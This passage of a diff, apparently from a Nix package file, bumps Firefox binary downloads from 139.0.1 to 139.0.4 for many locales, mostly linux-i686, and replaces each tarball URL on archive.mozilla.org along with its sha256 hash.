-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/zh-TW/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-TW/firefox-139.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "bd23be469666d3413bf5f57b3b675adf2e6e17d9c5c6b6da012cc5a0e3f190b4";
+      sha256 = "318be7f9b81b5e7c4469dca4201213f9f064b8b47ceeebcc0f93040544b10181";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ach/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ach/firefox-139.0.4.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "d57ea35a639a93d6f8e53aa8e1272bd731fef0f162e1e5c65f968e958ce82da4";
+      sha256 = "efe3d84e60799cdf38914250d0ac2703d5b44a536823413b4f97177df4ca9d44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/af/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/af/firefox-139.0.4.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "855adfd79d3a16aba4cea8ad85295fc5b553cebca558223f10b1ed2738cfd828";
+      sha256 = "f4df58379868d079a8e92cdaf1af3c68f34c59004fe6eba1c0d12d27a2e28016";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/an/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/an/firefox-139.0.4.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "6bcb30d4f8971819fa3944773f19b0da8e81c55bd9616e942ecee5156f2c66be";
+      sha256 = "c5511db64b806b079dea8c5eb685339bae2e5a7760994e0ce734c8078fc6444f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ar/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ar/firefox-139.0.4.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "b6e35885d5791461d2a8455cdcd3693ff9eccae90393c1bf658c63aa185d01b1";
+      sha256 = "3193ae86eb7ec60886719fc605d1ebc894f41c31315fcf5e0719497cdd97d492";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ast/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ast/firefox-139.0.4.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "ed6f4985196d14eebcaf7a3e394159eb0d6df00c09073439ed807fd59a70085f";
+      sha256 = "ccb94417b06a43a8768e7aae99b4ea791b693fdccd6a4f017aa60a4371ea693d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/az/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/az/firefox-139.0.4.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "799c4aeee747108c5d6ef6c00003a167640fcd5d477590b75a6c099b52ecc32b";
+      sha256 = "77c0de8966b6f48df45f86e8c82e0b63a83c414715d65499fbbee60d94a096d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/be/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/be/firefox-139.0.4.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "075fa1c35244705239ad055daeb5343009b80a74b1f4fca204f451fe4dd13294";
+      sha256 = "81e15f0edb1b737f6a8130c68dbc1b2dcb520c5655af1533c4ee4cbc43ac31e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bg/firefox-139.0.4.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "b856073a0ef47fb94b817806da9cabcf575f3ad4c7b69dd491c2ba4a2a7d8edf";
+      sha256 = "c77c220629c4018afb8db7abedbe3cba1614289b3642d9e953dc712a01125781";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bn/firefox-139.0.4.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "9aa12ef33389b7a9d81abb99347ce6f0d6911eb0c1bbc1068807800fe0373b82";
+      sha256 = "9113a41a8a08a89451631c18346c954cade93eb51a6e79a5219338b86cb81873";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/br/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/br/firefox-139.0.4.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "bd29aba9fe802b7eb2e8d8c6b5d186f9a41d4afc8062866d57674ed75a25fd29";
+      sha256 = "74487a03a2e7b6545cbdf5e948795588840e502985b03e3670fe6da1f16b5a84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bs/firefox-139.0.4.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "7d5e1a3060f748e59a46e237290d728e4ea5f82d2ca691354063e18ea27a56dc";
+      sha256 = "88ef03c50f048d843c123e9fc54a9eb8524ad7ff2473ca5456f4500bb62bf91e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ca-valencia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca-valencia/firefox-139.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "cb6c81e6dd880a1895b73f7d1e10c3887c13823e3b4b633ec7a3ebb81f86d7ae";
+      sha256 = "d08a89ef4fe795946393fc9d5b29c1b38e1b600cda286fae769d9ed5c67829d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ca/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca/firefox-139.0.4.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "60953ffe23a1e2370935b74fa3669c66e6ec97f750e37817e3c0a0922a2be9b6";
+      sha256 = "07501520cf38f7e2478277fafb18f9f388e347b9e66af8d756b10ab259831ff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cak/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cak/firefox-139.0.4.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "bc8c620ac433f24a7346b9ae503c08dee9f54005f4cafde73eea315fcc63a0ea";
+      sha256 = "9eae6daf22a0925eab388d54fb01402a71dcd18879e760a7594ef46faf27b592";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cs/firefox-139.0.4.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "42a02e26dfdc94a5e7f988a739903b08009e39bf0e5c56777029b6e7da69e8ab";
+      sha256 = "3d509a4576a2d2b08ab707c7a56ee46178e7fba07de2ac8bd8b97e81c640833c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cy/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cy/firefox-139.0.4.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "ff4f7b4012a7127dd97d5633907a463048082f22b035428552f5aaccb51beeb8";
+      sha256 = "459045eb67dc09d299e76f1ef29f883ff3d73020b184e457e4bf4998809d9e0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/da/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/da/firefox-139.0.4.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "4b713d15cbd819ab01dc3943557ccce1ddf69690e9814c0470072aa572d82526";
+      sha256 = "8d23fda9058523461e9dcffd32a1fd10810dfef8cf86efd6748a241ee44d195e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/de/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/de/firefox-139.0.4.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "01aacc8059f91ba0c5aa57110541bb888412b3c1a9eb1f81c211ad41af8dfad4";
+      sha256 = "91269c0e3190d315404ba75056b9c766091a8cfe69e257099668703dd88282e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/dsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/dsb/firefox-139.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "4849f130f85cfaf5e9aa9f12051517510f25d75ea29bf6596d9ae06ccb63661c";
+      sha256 = "b28fa2d3da1e2641909bd08b1ff685863df6a6521a82b832831854d7a1d2526d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/el/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/el/firefox-139.0.4.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "3442b9c3d6f7532c685c588052d3fd978ca677528c596c01cd4fc52346071b04";
+      sha256 = "4d4c4a62417b5475cfa7f9b45c30e5745b5cb0b87b37e2699f092d3bc606d389";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-CA/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-CA/firefox-139.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "a098a3e60f2f75a691a8e4d73da0a1c5bc538660e6e6af8794bb7a061fa09cbc";
+      sha256 = "32cedd68211d70e232980b9659b17f584f3e03fab735563f3fadf9b2f7678d14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-GB/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-GB/firefox-139.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "a643758f3637a68bf13e9bd8e8af6819d5d0af41f2e993f8ea6fa62816e2b0c8";
+      sha256 = "6662323e1b378b59043eb06e6b64b9e0828a50c8ee2e36c3059102e0d210b837";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-US/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-US/firefox-139.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "6b7e55674aed8208aeb78ff5439984c6f39260b993e9ecc7b29e7a04a0c61586";
+      sha256 = "202a6ee018ff34923a6f59363b45408fbbedaf73d96a751285e801ca73bce4f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/eo/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eo/firefox-139.0.4.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "a4a83a72da16d0cebd59362dc4f12fe38e5469889ee8a5c1b99785fd66dd9720";
+      sha256 = "c9fe021fd4df933305fa18e0c142549c4d1acc8fc870fd361df721648e602cc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-AR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-AR/firefox-139.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "ff251f725a782571880faaaed72e99c06c18229be2b33575eae217ac28e4bb0d";
+      sha256 = "e930de6127ed5991a03873a3aa696f004db19ca3e2364d5ff1a585812c2f110e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-CL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-CL/firefox-139.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "71160481a52a0fb3aa0b74ab9ad1e2504934dea7f0a50c2e58adb66be0ea3696";
+      sha256 = "6323556e58ab72674e9a5520d6657e8ce3b52d50c962c4e6c60bd0e8105804c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-ES/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-ES/firefox-139.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "23387f47087b600e7ab306001feec62127aa23580b5110b6e7e69a0ab55c153e";
+      sha256 = "71b02535bf7d7e8cd0a3da9317e33314ed54e8f8109f495887cc9a032219a071";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-MX/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-MX/firefox-139.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "b93f788d5314c36fb2e5c5997d004062843735bacf35c532630da8b60895b18d";
+      sha256 = "065dedf422a3b5d678d6359070a08934b809996349ba09452158e79f899b92a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/et/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/et/firefox-139.0.4.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "ffe0e36f552d16932d79676655e15f62cfe4a9e6aefe8bc06b78d8e4ea1daad8";
+      sha256 = "19dcef89982b967497a2b309ffa9f7f6f64e8490560820151919242f273f9ae5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/eu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eu/firefox-139.0.4.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "69897e19e2c78c3b8270f613403d82c77b4f6cfce93c1eb6062994ab21e29283";
+      sha256 = "11c074185d5ed9ed58a031fad9bfe58a7132470d9d5e4069c249f66022d7a2f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fa/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fa/firefox-139.0.4.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "e240afc9dbd52d11528cac6e997b664966d5a67138f55f602a52bc160f2a72b7";
+      sha256 = "227d95350e398a4f7d1f89dac0ed9245a56db622bc835a63c468afb0bd9d3a06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ff/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ff/firefox-139.0.4.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "86168aa7b853f2a03a5d46f5e79be651cbc882ac2d3bbe8ffbb34da8e6b1b6ee";
+      sha256 = "893642972019297eb6719c57915d6c898a12619a6fd86c8ad15f375335f13568";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fi/firefox-139.0.4.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "ed2df63cbbb221d122d9f807eb156ec68ff249361fbccbf5c0745eed8e5ea6d5";
+      sha256 = "8744a6c8e71dba3e7eb93f3f528c61272e8e7bc7ba78934b3dfc58590dccadf7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fr/firefox-139.0.4.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "b6ba27540b8642791d29dcf5ee9ac4fae650f36d21b361341ba68097f50ffedf";
+      sha256 = "acc8290a763d963321119241e834282d8e512e5ef782185f689723e83a69ad86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fur/firefox-139.0.4.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "7e03ba4f68a25d2550fdcda237dc5dd3fb1f91157fcc93bab65efea9dc42be23";
+      sha256 = "92d2b697e4bb3bd9a3925b51ee52ba617a8b5bd326df56e6272f24cdeec4b386";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fy-NL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fy-NL/firefox-139.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "569534c2b0fc0e89c250df8989df51b0bd2f32d2238d7925e2fff12d82d6e728";
+      sha256 = "f141dc5175a168286c26ce9a6294071dd6b30ae282ff283c1940e066a25fba83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ga-IE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ga-IE/firefox-139.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "abfcd8a7350f52dbe9963f25f0941f18230a21943175581c5f50ffdf5c769a3b";
+      sha256 = "316f4910bda0c1b0d93867795bcd83961af9974840a667d9934d3e51e1d9aa41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gd/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gd/firefox-139.0.4.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "f51612c8dc8ab58fa7a618ce492ef991283f09e398fa31297838f2d543c66f0a";
+      sha256 = "5f6195295380b09d7133336f33184218b0d1e2cda5e668eae21cf80cf4342028";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gl/firefox-139.0.4.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "c8f2a31e3333b8fe197c939c2fee4638ee2d72cb2dcfb45f328baf06ba891dde";
+      sha256 = "f7e1d0d8f7e1030e1b8cc01efeaeb3dae2db2958417f40bd8af330f4f3db4d6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gn/firefox-139.0.4.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "42a795220c3ddeee2a6f030a5493ad154f67ca7590a4d1855cf238eacf936280";
+      sha256 = "e1909c80d052fb087603d436f1a85e60646867d3b47011151783af8fb455a522";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gu-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gu-IN/firefox-139.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "04429b5f941b90719e7a6be9fb8b324e7af1a6c30e86b5f0b1748f74ba66a9ae";
+      sha256 = "b23cedf29625670b7abb6d85175fa75e99435abd9c0c2e42dc6ed87cc4e5eedc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/he/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/he/firefox-139.0.4.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "fa8153e9d18193642d927c10e347774493c4e72ad897f3e8c3237b8df1a99b56";
+      sha256 = "320905f0b53c4598f26f40f384861cbaae5a383f893c199f2810980803d0371b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hi-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hi-IN/firefox-139.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "b54ef45e99c9d8a9f2400ffa0be1c4cbf231edbcf5ed0ba21e0b2d286c397bbd";
+      sha256 = "0bb67c56ed826d80eae37936759c4e61e9542723ec85650c7d1fb49bd30bab31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hr/firefox-139.0.4.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "d729892c8ea66f18fb47a400652691458f962422e498bf3214fef137db4fbed8";
+      sha256 = "90d798dfdce48ce1890dbd20d162f87125abdf4eb3be462221791695004f5418";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hsb/firefox-139.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "1a010e259399ff0c954555879a819a923b032095b6008dd66095343745b2f89d";
+      sha256 = "e6ae699dfeef12c80850199023e04437cb7fbdb080c8e89c1ca5bb4ff94f76c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hu/firefox-139.0.4.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "8d2f6a07fe19c068a14d6894683ae9689929727fc17d116384a9e2237e3c4e01";
+      sha256 = "069f4b63808accee6110bed0ae704c5414b03080a5c1bd08ff18352e3b839f41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hy-AM/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hy-AM/firefox-139.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "dd37d935d23353f41bc7012a6e04e6f12a0a8aec326783af7e5b6693275dbb5c";
+      sha256 = "fa521147a6df1296b324cbaac2a0ae4ff07972f54027bdf6a281dd0472db67a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ia/firefox-139.0.4.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "9a766bf724b5b3141942959eb80929ab9b691cc8e3c498e660e056bd05a94aeb";
+      sha256 = "7e4b9937e16fb2470df8988bbad9dd40794260e7de04f859438b7e47e8a9a210";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/id/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/id/firefox-139.0.4.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "1123cb036cf09ce217407c6d08b7215d082da0d400e7719405f6b35d7618a8e0";
+      sha256 = "22f4ec4a846e904a5ed1681be4e3f840dabdc6ae627da28969bd8b9f97d3fe7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/is/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/is/firefox-139.0.4.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "7a644e85f3d87f243437cfba38056cc4706553f0c164d21f16c8109ea4d1acb6";
+      sha256 = "d7501f4c8a09320974f920b4d7dbd52dc99083f76ee8a20f1e2429837ba11b80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/it/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/it/firefox-139.0.4.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "11b7e2f620230a95a383568c099fad94f5b1e2f3d2261a27463960234bb1b455";
+      sha256 = "2652df2e30ec14f334cf4003018329467c9976eb13aaf325fa2bdd36143e7d87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ja/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ja/firefox-139.0.4.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "cf6f63fa3c3dd8b833db032d78254b0c677c03c0e54b9794974fa9c6828446dc";
+      sha256 = "78a22a99f12d047ca962132beee798766f4e90c20f285b8b8ee80d4ea993eea9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ka/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ka/firefox-139.0.4.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "39fd4fa5efadcd2dd8c8c18e0bb7fa441db92b6bbab9620f933190732aa3eb71";
+      sha256 = "fb3b3e8862859547f9b5b90a090e7d6710570bbee4787e97abb46bff28cc1c95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kab/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kab/firefox-139.0.4.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "0f4adac40d9e09467b1e900fb12bb67efe1350887502f2948abbf49249e7f953";
+      sha256 = "3552aebf4a502dfe025c46507d850da260a6ba4658e5351d2251f556b83ad46f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kk/firefox-139.0.4.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "d74717d38379f9bc28dc019bf598727c5478cae52d17ab086865544d987ad840";
+      sha256 = "e0dbd303cc0bf6b871d014c713cf82f266b9d967863accef19f6b56827382052";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/km/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/km/firefox-139.0.4.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "3a5e4aabb4a34eae8328ae03b99569070c1fa88a494c92b6e45d5617c71d050a";
+      sha256 = "b17961974cecc5590308355f1b508d419d84461218971ac9a908bea487fa9967";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kn/firefox-139.0.4.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "bfca6f25ffb42e03541a029d6d4487e6074135dbb2d4f534ec45ceb5216d1748";
+      sha256 = "047486b8b9df977cf9a76f109ab03625def072a22d3bffa2dbb9c77d71520b26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ko/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ko/firefox-139.0.4.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "5b31d0affa4fcfed32ca63359d015cf60af23fa22ad3d5e4c2562948224f77f3";
+      sha256 = "0919023686ae97cf1374d1bf304375ba73754b99dd2c23f9223b1b12305f2de0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lij/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lij/firefox-139.0.4.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "0713608a6faf58c4ab48b8167fb1a6fa343e5c37104afafeebb7b61f19316937";
+      sha256 = "a85760998268af3d85e276192803f8dd2a25aa32a6dce49073b04a49a9cf5a59";
     }
     {
